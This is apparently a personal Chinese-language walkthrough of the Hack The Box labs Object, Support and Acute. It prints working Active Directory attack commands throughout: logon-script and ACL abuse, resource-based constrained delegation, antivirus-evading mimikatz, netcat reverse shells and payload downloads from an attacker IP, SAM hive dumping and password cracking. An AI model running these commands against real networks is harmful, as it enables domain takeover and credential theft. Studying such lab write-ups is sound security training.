成功了但是下一步提示说的是这个密码rockyou都爆不出来那就先不管了至少学了一种新方法在遇到这种情况的时候能更快的反应那个时候如果才开始查未免有点太慢了

并且GenericWrite可以修改目标的密码当然这里不起作用还是作为记录

1
2


$newpass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity maria -AccountPassword $newpass

接下来是最难的地方也是我有点不理解这个靶场为什么这么做的地方这里不看wp的话我完全不可能想到第一个能做出来的也太猛了

maria有个自动登陆脚本而且貌似在一直重复登录退出登陆退出那就可以给他写一个登陆脚本只要一登陆就会触发这个脚本而且这不只是GenericWrite特有的。能修改用户的scriptpath属性需要以下任一权限

1
2
3
4
5


GenericWrite
GenericAll
WriteDacl
WriteOwner
WriteProperty

也就是以后遇到这些权限都可以尝试写一下登陆脚本也算是学到了一种新技巧在以后的环境中比如写一个弹shell的脚本也可以只要一登陆了立马就能弹shell 当然这里不行出站流量全被down了

所以可以构造一个脚本比如看一下家目录然后将返回结果写入一个当前用户smith和maria都能访问的目录

1
2


echo "ls \users\maria\ > \programdata\out" > C:\\programdata\\cmd.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}

在翻目录的时候找到了Engines.xls文件

1
2


echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1
download Engines.xls

有这样几个密码挨个试就行了

1

crackmapexec winrm object.htb -u maria -p password.txt

1

evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'

导入PowerView.ps1 指定maria为域控管理员的所有者然后就能将自己加到组里了

1
2
3
4
5
6
7


. .\PowerView.ps1

#下面两个都可以
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

修改了ACL之后需要重新登录才能生效

结束

这个太难了我还想验证一个事情就是我用smith可以给maria写登陆脚本我已经知道了maria可以将自己加到域管理员组然后赋予别人管理员权限我如果将这一套流程写入登陆脚本里是不是我都不需要知道maria的密码呢

1

echo '. C:\programdata\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All; Add-DomainGroupMember -Identity "Domain Admins" -Members "smith"' > C:\programdata\cmd.ps1

没有问题可能原作者也是这么想的但是原作者又想到如果这样的话也太难了因为不确定哪个命令能否正常执行

22.Support

信息收集：

没有web服务先走smb 然后rpc ldap

有匿名连接访问之后有这样几个文件挨个搜搜看把貌似是一个软件库主要是如果这个软件在网上存在那肯定没啥用如果是自制的就有用了

UserInfo.exe.zip 只有这个在网上搜不到其他的都是可利用工具

我开启了另一个虚拟机本来我可以在我的物理机上执行的但是我抓包的时候数据太多了太乱了所以我打算去虚拟机里抓看一下这个是干啥的

捕获到了

域名而且请求了ldap 将域名添加到host里

可以看到发起请求了解析到了那个内网IP 但是因为不通所以卡住了

还是失败了我看wireshark我的虚拟机一直往wifi的网关发起请求同时请求vpn的地址但是数据包不知道为什么过不去

追踪出来不知道为什么是空的

不通后面发现是切换VPN的原因重新连VPN就好了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


PS C:\Users\peter\Desktop\UserInfo.exe> .\UserInfo.exe find -first *
raven.clifton
anderson.damian
monroe.david
cromwell.gerard
west.laura
levine.leopoldo
langley.lucy
daughtler.mabel
bardot.mary
stoll.rachelle
thomas.raphael
smith.rosario
wilson.shelby
hernandez.stanley
ford.victoria

一堆用户名我还不太清楚获取的原理只看到之前有个ldap 可能就是ldap查询到的毕竟他后面的数据因为VPN都加密了我解不开

我将获得的用户名当作参数放到user上有返回值了

果然这里是ldap 到这里就卡住了如果它可以自动连接 ida的我看不懂有点超纲了这里我学到了一个新的反编译工具貌似友好一些在file到userinfo.exe 是.net也就是c#写的就可以用下面这个反编译工具

https://github.com/dnSpy/dnSpy/releases

找到了有两种方法一种是静态调试就是打上断点或者把这个加密内容拿过去找一个解密的方式但是C#我看不懂我不知道他如何加密的而且考试不允许去找AI 我不可能现学虽然说看不懂但是语言的逻辑差不多只是写法和函数有差别手动解密这里就不考虑了

username就在这名字就叫ldap 不清楚这个密码带不带"号过会试试就知道了

1

ldap:"nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz"

还有一种动态分析的方法他这里发包没有加密刚刚wireshark看到加密是因为 openvpn加的密所以我看不到具体内容但是如果把ldap服务器设置为本机那么流量是不经过vpn的获取到的也都是明文这个我在刚开始就打算用这个因为我的vpn转移起来很麻烦但是当时报错一直没解决这里解决一下吧

https://www.dedoimedo.com/computers/wine-dotnet-mono.html

https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks

这两个教程配合解决了我的问题

可以正常使用了

1
2


responder -I tun0
wine UserInfo.exe -v find -first admin

在kali上无论是wireshark还是responder都能捕获到这个没问题但是windows上不知道为什么捕获不到而且就算域名指向真实的10.10.11.174的ip

依然没有加密流量是可以捕获到的但是windows一开始我也试了一直不行

没问题

也没什么特殊的地方

winrm不行

貌似只能查询ldap 可以看看如果有服务账户的SPN 或许也能当作切入点

1

GetUserSPNs.py support.htb/ldap:"nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -dc-ip 10.10.11.174 -request

没找到 ldap看看还能不能多找几个用户然后拿刚刚的那个密码撞库用

1
2


ldapsearch -x -H ldap://support.htb:389 -D "CN=ldap,CN=Users,DC=support,DC=htb" -w "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -b "DC=support,DC=htb"
ldapsearch -x -H ldap://support.htb:389 -D "CN=ldap,CN=Users,DC=support,DC=htb" -w "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -b "DC=support,DC=htb" | grep -iE "mail"

收集到了这些没啥区别跟上面那个软件查询的

1

crackmapexec smb support.htb -u 1.txt -p "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz"

没结果在上个靶场的时候我发现很多wp他会把靶场的简介贴在开头而靶场简介是有信息可以拿到的这里卡住了就去看看简介

这就有思路了但是有点太剧透了我都感觉跟wp没区别但是这也是其中一种思路吧主要是学会思路和技术

如果仔细看其实也能发现这个用户的信息是没有mail的而且用户名不带. 并且ldpa查询的时候比如上面的那个信息也没返回这个所以要仔细去翻

1

support:Ironside47pleasure40Watchful

1
2
3


crackmapexec winrm support.htb -u support -p Ironside47pleasure40Watchful
evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful
bloodhound-python -d support.htb -u support -p Ironside47pleasure40Watchful -ns 10.10.11.174 -c all

加载到bloodhound看看

看看help能否直接利用

根据教程第一种方法他并不推荐但是可以利用

1

net user Administrator Password123! /domain

但是这里报错了我打算利用第二种他推荐的方法

1
2
3
4


# 第一件事先将PowerView.ps1传上去
upload ../../PowerView.ps1
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword

确实不能改密码这条路走不通

这条路我发现当前用户对域管理员组有GenericAll权限根据网上找的方法

https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/

也行不通权限不够

我没想到路径会是这样

根据提示我找到了但是我在尝试SUPPORT用户为起点 DC.SUPPORT.HTB为终点的时候没有这样的显示又或者指向administrator也没有这条路径至少又学到了一种新方法以后可以拿当前用户组指向administrator

开始看help 因为都是英文所以我google了博客配合一起使用

他这里提到了这存在基于资源的约束委派先准备以下文件上传到靶机

1
2
3
4
5


https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
Powermad.ps1
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
PowerView.ps1
https://github.com/GhostPack/Rubeus/releases/tag/1.6.4 需要自行编译

首先创建一个由当前账户控制的计算机账户这个需要导入Powermad.ps1才行

1
2


. .\Powermad.ps1
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018' -AsPlainText -Force)

导入PowerView.ps1检索新用户的SID

1
2


. .\PowerView.ps1
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

我们现在需要用攻击者添加的计算机SID作为主体构建一个通用的ACE，并获得新的DACL/ACE的二进制字节这一步没搞懂原理慢慢来吧这个基于资源的约束委派其实这个在FOREST的时候用过这个操作做了笔记但是我忘了原理了当作复习也不错

1
2
3
4
5
6


$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Get-DomainComputer support -Properties msds-allowedtoactonbehalfofotheridentity | select -ExpandProperty msds-allowedtoactonbehalfofotheridentity

1
2


.\Rubeus.exe hash /password:Summer2018
.\Rubeus.exe hash /password:Summer2018 /user:attackersystem /domain:support.htb

根据教程这一步我要拿到RC4 但是我没有看到任何回显

完全没有任何回显

kali上都有回显如果这个用不了拿不到RC4 那就没法利用

我上传了mimikatz 但是我上传上去了之后发现他不见了

那就已经确定了靶机上有杀毒软件杀毒软件没关我上传的mimikatz直接被杀了导致我的rubeus.exe一直无法执行

https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0

我用的是这里面的免杀 RC4实际上就算htlm加密将我创建的密码加密

1

7f4f718d5029000926a9278c5cfd0872

教程的下一步就算请求ST了下面的命令依然不行

1

.\Rubeus.exe s4u /user:attackersystem$ /rc4:7f4f718d5029000926a9278c5cfd0872 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

mimikatz也不行

1

 .\code_x64.exe "kerberos::ptt /user:attackersystem$ /domain:support.htb /rc4:7f4f718d5029000926a9278c5cfd0872 /target:cifs/dc.support.htb /impersonate:administrator" "exit"

那其实还有办法已经到了获取最后一步ST的地方了 geST.py刚好符合我的需求而且目标的88和389我都能访问 impacket是目前一个好的选择

1
2


ntpdate -u support.htb && date
getST.py -spn cifs/dc.support.htb -impersonate administrator support.htb/attackersystem$:Summer2018

终于可以了太艰难了开始导入票据还是之前记录的方法

1
2
3
4


export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass
/usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass administrator@dc.support.htb
/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass administrator@dc.support.htb

明明导入了又不行了我上面的命令都试了一遍都不行

这个博客给了我答案https://github.com/fortra/impacket/issues/779

每次只要执行impacket里的脚本都要对一次时钟我已经把本地时间校准关了还是会这样现在遇到这个问题以后再使用的时候再次遇到就知道怎么解决了

1
2


ntpdate -u support.htb && date
/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass

结束

这个靶机扩展很好 getshell部分学会了找到软件使用的语言然后找对应的反编译工具就跟python和java的一样用他们对应的反编译工具之后代码逻辑都是能看懂的(ida我是真看不懂) 这里是C# 找到了对应的反编译工具其次学会了kali下wine执行exe文件因为刚开始我配置的时候一直报错我没管还好后面配置好了接着就是ldap处要自行看所有信息有的信息可能就藏在info处

提权部分卡得太多了 bloodhound没有给我用户到组直接的关联这里学到了除了当前用户可以当作基点用户组其实也可以的基于资源的约束委派没什么太大的问题网上教程特别多主要是卡在了免杀部分网上没有Rubeus.exe免杀的版本 mimikatz有免杀的版本但是生成ST貌似比较麻烦我拼接命令没有成功 google也没有找到谁会用mimikatz生成ST 都是用Rubeus.exe 还好后面想到了既然到最后一步生成ST了 impacket其实也可以的而且目标的88端口和389是开着的如果没开或许我还要想其他办法然后也学到了最关键的一点用impacket的工具的时候第一件事对时钟

总体而言这个靶场还算不错的

23.Acute

信息收集：

没有任何东西但是之前遇到过这种情况看看证书

获得了一个域名

还是没有东西但是https可以看了

whatweb指纹扫出来了是.net的站

1
2


whatweb https://atsserver.acute.local/
https://atsserver.acute.local/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.145], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]

加上asp和aspx就开始爆破吧同时FFUF爆破子域名然后看看这个站有什么接口

1
2


gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,js,html,asp,aspx -k -t 50 -u https://atsserver.acute.local/
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://10.10.11.145 -H "Host: FUZZ.acute.local" --hc 404

爆破没有给我太多信息

右上角有一个文件我给他下载了下来 creator FCastle

里面提到了登陆地址

1
2


The University’s staff induction pages can be found at: https://atsserver.acute.local/Staff
The Staff Induction portal can be found here: https://atsserver.acute.local/Staff/Induction

里面提到了默认密码

1

Password1!

最后面提到了Lois是管理员仅仅只有他这一个管理员

到此处我感觉我还没收集完信息挨个翻译挨个再看一遍

PSWA？我去搜了一下

就是一个网页版的powershell可以执行命令这里提到的意思应该就是新用户可以用PSWA在网页执行命令默认密码也有了现在需要找到登陆页面以及账号

这里有几个超链接挨个看指向的都是https://atsserver.acute.local/

1

https://atsserver.acute.local/Acute_Staff_Access

找到了登陆页面还需要用户名

目录爆破貌似已经给了我答案因为这个网站里面只有这一个文件可以访问我手动的时候也发现了

有用户名了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


Aileen Wallace
Charlotte Hall
Evan Davies
Ieuan Monks
oshua Morgan
Lois Hopkins
Aileen
Wallace
Charlotte
Hall
Evan
Davies
Ieuan
Monks
oshua
Morgan
Lois
Hopkins
FCastle

js加密了反正用户也不多手动也行

我全都试完了没有一个正确的问题可能出现在

我我又去看了word 是否有啥信息结果就是没有了有一些零散的但都不重要我又看了网页也没有最后到了文件元数据那看了主机名

1
2
3


Acute-PC01
edavies
Password1!

进来了

家目录没有flag

并不是域控大概率是域成员 winrm开启的

当前用户有一个家目录但是不属于普通用户奇怪的是在net user里不知道为什么没有当前用户当前用户难道不是普通用户吗

没有太多信息我打算上传winPEASany.exe去看看信息

先弹个shell吧还是传上去直接被杀了最后这几个靶场难道有免杀的要求吗我将netcat传上去反弹

1
2


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/netcat.exe -OutFile .\netcat.exe
.\netcat.exe 10.10.16.14 6666 -e cmd

拿到了

我上传了一个winPEAS.bat 结果bat版本也会被杀我不知道该如何利用了我去看了下简介

我并不知道我除了获取简介里的信息以外怎么才能知道JEA这个东西所以我打算看wp 看看别人是如何利用的

他们都提到了一个目录 Utils 这个目录下面有一个desktop.ini

https://petri.com/microsoft-defender-exclusions-list-windows-10/

这个博客提示了攻击者可以读取 Microsoft Defender 排除列表

1

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

winPEASany也有提示

这样逻辑就通顺了在以后遇到杀毒软件的时候就可以这样查询目录

这里其实也能看出来将winPEAS传到这个目录可以上传且执行一样重点关注红色我将收集到的信息写到下面

1
2


C:\Users\edavies\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt

还是挨个来

没有任何信息 wp给我的提示是如下图 RDP Sessions处是存在的而我这里却没有

并且我执行

1
2


qwinsta /server:127.0.0.1
qwinsta session

可能我需要重启还是不行 oscp允许使用一次msf的我看了每个wp的这一步他们的做法都是msf 这是我万万没想到的思路如下 msf的powershell看到了上面的RDPsession 然后msf不是可以监控桌面吗监控的时候可以看到有脚本运行截下来就行了这一步我是万万没想到的怎么看这都不符合逻辑首先我卡住的时候经常会看一个作者的WP 他从来不用msf 我看了这么久这是他第一次使用msf 他是这么说的

实际上也是如此比如屏幕截图 msf属于是很方便的了这个靶场被定义为难评分还能保持4.5 以及大部分人觉得这个靶场属于中等到困难难度后面肯定有他的说法的

生成msf然后弹shell回来就行我还是照常上传了winPEAS扫了一下看来跟msf的shell没关系他可能就是不存在

这里作为保留吧知道路线记录方法就行了这是没办法的办法了开始截屏

权限不够无法看到屏幕

我不知道我哪一步做错了我感觉可能是权限的问题 pswa上的权限貌似比netcat反弹shell出来的权限高？这是我唯一和wp不一样的地方从这一步重新开始如果确实是这样的话起码学到了新东西 pswa能执行的命令不要弹netcat来执行

依然notfound

不存在

事实证明了 netcat cmd之后再powershell再弹shell 其实跟pswa没区别本来就是这样我还以为有区别

生成msf的payload都一样因为这玩意也不可能不一样这跟msf没有关系我总感觉靶机出问题了这里省略了一天我把靶机彻底关了有其他的事所以没继续做了过了一天重新开启靶机发现正常了

奇了怪了

有画面了在这一天期间我了解到了OSCP允许使用MSF进行监听以及生成shell 这个没有次数限制他限制的一次是打exp 各种各样的EXP的时候才限制

1

sharp\imonks w3_4R3_th3_f0rce.

根据他的命令它是通过winrm服务去找ATSSERVER进行连接

拼接他的命令就行

1
2
3


$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage

报错了

但是针对winrm 还是有办法的比如下面这个博客介绍了关于winrm的大部分操作

https://www.west.cn/docs/133652.html

1
2


invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { whoami } -ConfigurationName dc_manage
invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ConfigurationName dc_manage

上面的命令可以拼接出来来读出flag 我将netcat.exe 传上去获得一个交互式的shell

1

invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { C:\\utils\\netcat.exe 10.10.16.14 6666 -e cmd } -ConfigurationName dc_manage

貌似不行其实也一样能用开始翻文件

1
2
3
4


$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds

这个文件里有jmorgan的密码当然这个跟之前学的一样是安全密码翻了一下在Omni那里遇到过原理我记起了一些加密字符串是由哪个用户创建的就只能以什么用户权限才能解密并且在哪台计算机上加密的也只能在那台计算机上解密以当前用户和我自己的windows上允许了上面的命令并尝试

1

$Creds.GetNetworkCredential().password

之后我才想到这一点因为距离那个靶场确实有段时间了后面会复习hackthebox我记得所有笔记

那就只能拼接命令让imonks在ATSSERVER上执行这个命令

1

Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

需要先导入凭证再用$Creds.GetNetworkCredential().password读取就行

报错了既然也无法导出凭证那么就直接拼接命令把

1
2
3
4
5
6
7


Invoke-Command -ScriptBlock {
 $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';
 $passwd = $securepasswd | ConvertTo-SecureString;
 $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd);
 $netcatCmd = "C:\utils\netcat.exe 10.10.16.14 6666 -e cmd";
 Start-Process -FilePath "cmd.exe" -ArgumentList "/c $netcatCmd" -Credential $creds
} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

这个命令利用内层的凭证来执行反弹shell的命令

但是跟上面一样无法执行

看了眼wp 它提示到外层的这个用户可以修改wm.ps1然后执行这弥补了当前用户无法依靠那个凭证来执行的权限

1
2
3
4


Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\netcat.exe -e cmd 10.10.16.14 6666') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
#下面直接运行
Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

成功上来了

新用户第一件事还是whoami /priv

可以看到开了很多权限

1

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\Utils\w.log"

没问题烂土豆可以直接提

没东西？我担心的事情还是发生了我看IP的时候就发现不对劲了他提的DC01这个电脑还真就是DC01这个电脑我之前猜测的也没错这是一个域成员主机域成员要向域控发起攻击的话除了漏洞利用或者域控开启一些服务但是现在我连域控的真实IP都没有获取那个443就是域控只是一些服务都没放出来那就代表我在内部是可以访问的如果可能我需要搭建隧道针对域控进行攻击

真实IP还是10.10.11.145？我有点不敢确定因为我访问它的445报错这可能只是一个边界服务器把还有一种方法目标开启了PSWA 并且我本地是可以切换用户的而administrator后面明显跟了一个.ACUTE 在我的理解中这貌似代表他是一个域用户后面会跟上域名在学习的时候创建了两个相同的账号比如本地帐号叫john 如果想在入域必须要建一个域账户如果域账户名称和本地账户名称冲突了比如我还要在建一个叫john的账户那么john后面会加上域名这样才能防止本地计算机出现冲突

目前的信息就是目标开启了PSWA以及当前用户可以切换用户那么把他的sam和system读出来然后破解然后再撞库如果可能可以直接进域

1
2


reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

这里我选择nc传貌似smb会出错

1
2
3
4
5
6


nc -l -p 10000 > SamBkup.hiv
.\netcat.exe -n 10.10.16.14 10000 < SamBkup.hiv
nc -l -p 10000 > SystemBkup.hiv
.\netcat.exe -n 10.10.16.14 10000 < SystemBkup.hiv

 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam SamBkup.hiv -system SystemBkup.hiv LOCAL

1
2
3
4
5
6
7


Administrator和Natasha密码一样
如果没有那么还可以用hashcat

echo "a29f7623fd11550def0192de9246f46b" > hash.txt
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Password@123

上不去内部肯定不用说了能上去目前的目标是访问ATSSERVER 目前我在DC01上已经是SYSTEM了没有其他必要了 PSWA也不允许访问ATSSERVER才对也就是只能在内部访问我尝试了本地的几个账户进行远程访问

1
2
3


$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\user", $pass)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }

但都行不通又去看了wp 我不知道他在哪找的用户就直接出来了我回到开头发现用户名为 awallace 正是第一个用户的名字缩写这个我完全想不到我接着去看其他wp 看看他们的思路是啥样的

还真让我找到了任何域成员账户都有权去查看

1
2
3
4
5
6


# 列出powershell可用的
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}

# 列出域用户
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user /domain}
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user awallace /domain}

开始尝试这些号刚好awallace密码就是Password@123

1
2
3


$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }

后续太难了我只能挨个复现需要大量时间去找目标计算机存在的东西这就是下一步在这之前我尝试去反弹shell

1
2


Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .\netcat.exe }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .\netcat.exe }

并不行还是按照着来吧用这个翻文件

1

Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

然后查看里面的文件

1

Invoke-Command -ScriptBlock { cat '\program files\keepmeon\keepmeon.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

1
2
3
4
5


REM This is run every 5 minutes. For Lois use ONLY
@echo off
 for /R %%x in (*.bat) do (
 if not "%%x" == "%~0" call "%%x"
)

这个脚本每五分钟运行一次只有Lois可以使用

1
2
3
4
5


/R 是递归所有路径
*.bat 是查找所有bat文件
%%x 是循环遍历 存储找到的路径
%~0 当前脚本
如果%%x不是%~0(当前脚本)那么call 也就是执行它

而且是Lois执行也就是我放一个反弹shell的bat就行了吗导入过凭证了再去看看有什么命令

1

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {Get-command}

无法使用curl那些我无法判断这台机器是否能和我相通相通的话我觉得可以直接反弹shell了我尝试直接写bat

1

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { Set-Content -Path "C:\program files\keepmeon\1.bat" -Value 'curl http://10.10.16.14:33333/ncexe/netcat.exe -o "C:\program files\keepmeon\netcat.exe"' }

1
2


Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { ls "\program files\keepmeon\" }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { cat "\program files\keepmeon\1.bat" }

没问题但是还得反弹shell 再写一个2.bat

1

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { Set-Content -Path "C:\program files\keepmeon\2.bat" -Value 'C:\program files\keepmeon\netcat.exe 10.10.16.14 8888 -e cmd' }

1
2


Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { ls "\program files\keepmeon\" }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { cat "\program files\keepmeon\2.bat" }

没问题现在等一会就行了等的期间我也在想后面的路如果说这个域控确实无法通攻击机那么是否我能将这台DC01当作跳板呢但是我不确定的是这台DC01的IP 像是再容器里我不清楚域控能否访问到这台DC01 即使我把防火墙关了我也无法验证而且每5分钟执行一次只为验证有点麻烦我在结束的时候在验证把

我等了许久一直没有任何反应还是看wp把

查看管理员组还是根据开头的word文档提示 Lois虽然不是域控管理员但是它可以将其他用户加入网站管理员

1

Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

就是这个组接着看信息

1

Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

这个介绍说只有紧急情况才会将人添加进去他可以访问域控管理员组根据他的说法网站管理员组直接被添加了域控管理员组成员也就是加入这个组的用户将会和域控管理员有一样的权限而Lois可以把用户加进去可以拼接命令将当前用户awallace加进去就行

1
2


Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\3.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat '\program files\keepmeon\3.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

后续一直盯着看就行了

1

Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

接着开始等我有点怀疑他是不是5分钟运行一次因为我的1.bat没有生成netcat.exe文件很大原因就是因为网络不通才不会生成为了验证我的猜想也是我想看看他到底运行每我再写入一个文件

1

Invoke-Command -ScriptBlock { Set-Content -Path 'C:\program files\keepmeon\4.bat' -Value 'echo "1" > 1.txt' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

我在之前利用>在写入文件报错了但是也得验证才行

等了很久还是没有一点反应我将靶机关了再开一次然后重复之前的步骤

netcat生成了代表执行成功了

依然没有结果但是实际上

已经可以访问flag了

结束

